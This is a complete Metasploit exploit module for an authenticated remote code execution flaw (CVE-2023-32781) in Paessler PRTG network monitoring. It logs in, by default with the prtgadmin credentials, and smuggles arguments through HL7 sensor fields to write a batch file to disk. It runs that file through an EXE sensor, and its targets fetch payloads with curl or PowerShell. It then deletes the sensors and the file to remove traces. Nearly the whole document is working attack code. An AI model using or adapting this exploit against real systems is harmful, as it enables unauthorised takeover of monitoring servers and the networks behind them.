Headline
PRTG Authenticated Remote Code Execution
This Metasploit module exploits an authenticated remote code execution vulnerability in PRTG.
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'PRTG CVE-2023-32781 Authenticated RCE', 'Description' => %q{ Authenticated RCE in Paessler PRTG }, 'License' => MSF_LICENSE, 'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'], 'References' => [ [ 'URL', 'https://baldur.dk/blog/prtg-rce.html'], [ 'CVE', '2023-32781'] ], 'DisclosureDate' => '2023-08-09', 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Windows_Fetch', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, 'Type' => :win_fetch } ], [ 'Windows_CMDStager', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'win', 'Type' => :win_cmdstager, 'CmdStagerFlavor' => [ 'psh_invokewebrequest' ] } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {}, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new( 'USERNAME', [ true, 'The username to authenticate with', 'prtgadmin' ] ), OptString.new( 'PASSWORD', [ true, 'The password to authenticate with', 'prtgadmin' ] ), OptString.new( 'TARGETURI', [ true, 'The URI for the PRTG web interface', '/' ] ) ] ) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['URI'], '/index.htm') }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError return CheckCode::Unknown ensure disconnect end if res && res.code == 200 prtg_server_header = res.headers['Server'] if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG') return CheckCode::Detected end end return CheckCode::Unknown end def exploit @sensors_to_delete = [] connect case target['Type'] when :win_cmdstager execute_cmdstager when :win_fetch execute_command(payload.encoded) end end def on_new_session(client) super @sensors_to_delete.each do |sensor_id| delete_sensor_by_id(sensor_id) end print_good('Session created') end def execute_command(cmd, _opts = {}) print_status('Running PRTG RCE exploit') authenticate_prtg bat_file_name = write_bat_file_to_disk(cmd) run_bat_file_from_disk(bat_file_name) print_status('Exploit done') handler end def authenticate_prtg print_status('Authenticating against PRTG') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'), 'keep_cookies' => true, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) unless res fail_with(Failure::NoAccess, 'Failure to connect to PRTG') end if res && res.code == 302 && res.get_cookies print_good('Successfully authenticated against PRTG') else fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG') end end def get_csrf_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'welcome.htm'), 'keep_cookies' => true }) if res.nil? || res.body.nil? fail_with(Failure::NoAccess, 'Page with CSRF token not available') end regex = /csrf-token" content="([^"]+)"/ token = res.body[regex, 1] print_status("Extracted csrf token: #{token}") token end def delete_sensor_by_id(sensor_id) print_status("Deleting sensor #{sensor_id}") csrf_token = get_csrf_token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'), 'keep_cookies' => true, 'headers' => { 'anti-csrf-token' => csrf_token, 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { id: sensor_id, approve: 1 } }) if res.nil? || res.body.nil? fail_with(Failure::NoAccess, 'Sensor deletion failed') end end def get_created_sensor_id(sensor_name) print_status('Fetching created sensor id') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'), 'keep_cookies' => true, 'vars_get' => { 'id' => 40 } }) if res.nil? || res.body.nil? fail_with(Failure::NoAccess, 'Page with sensorid not available') end regex = /id=([0-9]+)">#{sensor_name}/ sensor_id = res.body[regex, 1] print_status("Extracted sensor_id: #{sensor_id}") sensor_id end def run_sensor_with_id(sensor_id) csrf_token = get_csrf_token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'), 'keep_cookies' => true, 'headers' => { 'anti-csrf-token' => csrf_token, 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => { id: sensor_id } }) if res && res.code == 200 print_good('Sensor started running') else fail_with(Failure::NoAccess, 'Failure to run sensor') end end def write_bat_file_to_disk(cmd) # Uses the HL7Sensor for writing a .bat file to the disk cmd = cmd.gsub! '\\', '\\\\\\' print_status('Writing .bat to disk') csrf_token = get_csrf_token # Generate a random sensor name sensor_name = Rex::Text.rand_text_alphanumeric(8..10) bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat" # Clean up the .bat file cmd = "#{cmd} & del %0" print_status("Generated sensor_name #{sensor_name}") print_status("Generated bat_file_name #{bat_file_name}") params = { 'name_' => sensor_name, 'parenttags_' => '', 'tags_' => 'dicom hl7', 'priority_' => '3', 'port_' => '104', 'timeout_' => '60', 'override_' => '0', 'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5), 'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5), 'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5), 'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}", 'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||", 'hl7filename' => '', 'intervalgroup' => ['0', '1'], 'interval_' => '60|60 seconds', 'errorintervalsdown_' => '1', 'inherittriggers' => '1', 'id' => '40', 'sensortype' => 'hl7', 'tmpid' => '2', 'anti-csrf-token' => csrf_token } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'), 'keep_cookies' => true, 'vars_post' => params }) unless res fail_with(Failure::NoAccess, 'Failure to connect to PRTG') end if res && res.code == 302 print_good('HL7 Sensor succesfully created') else fail_with(Failure::NoAccess, 'Failure to create HL7 sensor') end # Actually creating the sensor can take 1-2 seconds print_status('Checking for sensor creation') sensor_id = retry_until_truthy(timeout: 10) do get_created_sensor_id(sensor_name) end print_status('Requesting HL7 Sensor to initiate scan') run_sensor_with_id(sensor_id) @sensors_to_delete.push(sensor_id) print_good('.bat file written to disk') bat_file_name end def run_bat_file_from_disk(bat_file_name) print_status("Running the .bat file: #{bat_file_name}") csrf_token = get_csrf_token sensor_name = Rex::Text.rand_text_alphanumeric(8..10) params = { 'name_' => sensor_name, 'parenttags_' => '', 'tags_' => 'exesensor', 'priority_' => '3', 'scriptplaceholdergroup' => '1', 'scriptplaceholder1description_' => '', 'scriptplaceholder1_' => '', 'scriptplaceholder2description_' => '', 'scriptplaceholder2_' => '', 'scriptplaceholder3description_' => '', 'scriptplaceholder3_' => '', 'scriptplaceholder4description_' => '', 'scriptplaceholder4_' => '', 'scriptplaceholder5description_' => '', 'scriptplaceholder5_' => '', 'exefile_' => "#{bat_file_name}|#{bat_file_name}||", 'exefilelabel' => '', 'exeparams_' => '', 'environment_' => '0', 'usewindowsauthentication_' => '0', 'mutexname_' => '', 'timeout_' => '60', 'valuetype_' => '0', 'channel_' => 'Value', 'unit_' => '#', 'monitorchange_' => '0', 'writeresult_' => '0', 'intervalgroup' => '0', 'interval_' => '43200|12 hours', 'errorintervalsdown_' => '1', 'inherittriggers' => '1', 'id' => '40', 'sensortype' => 'exe', 'tmpid' => '6', 'anti-csrf-token' => csrf_token } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'), 'keep_cookies' => true, 'vars_post' => params }) unless res fail_with(Failure::NoAccess, 'Failure to connect to PRTG') end if res && res.code == 302 print_status('EXE Script sensor created') else fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor') end print_status('Checking for sensor creation') sensor_id = retry_until_truthy(timeout: 10) do get_created_sensor_id(sensor_name) end run_sensor_with_id(sensor_id) @sensors_to_delete.push(sensor_id) print_good('Exploit completed. Waiting for payload') endend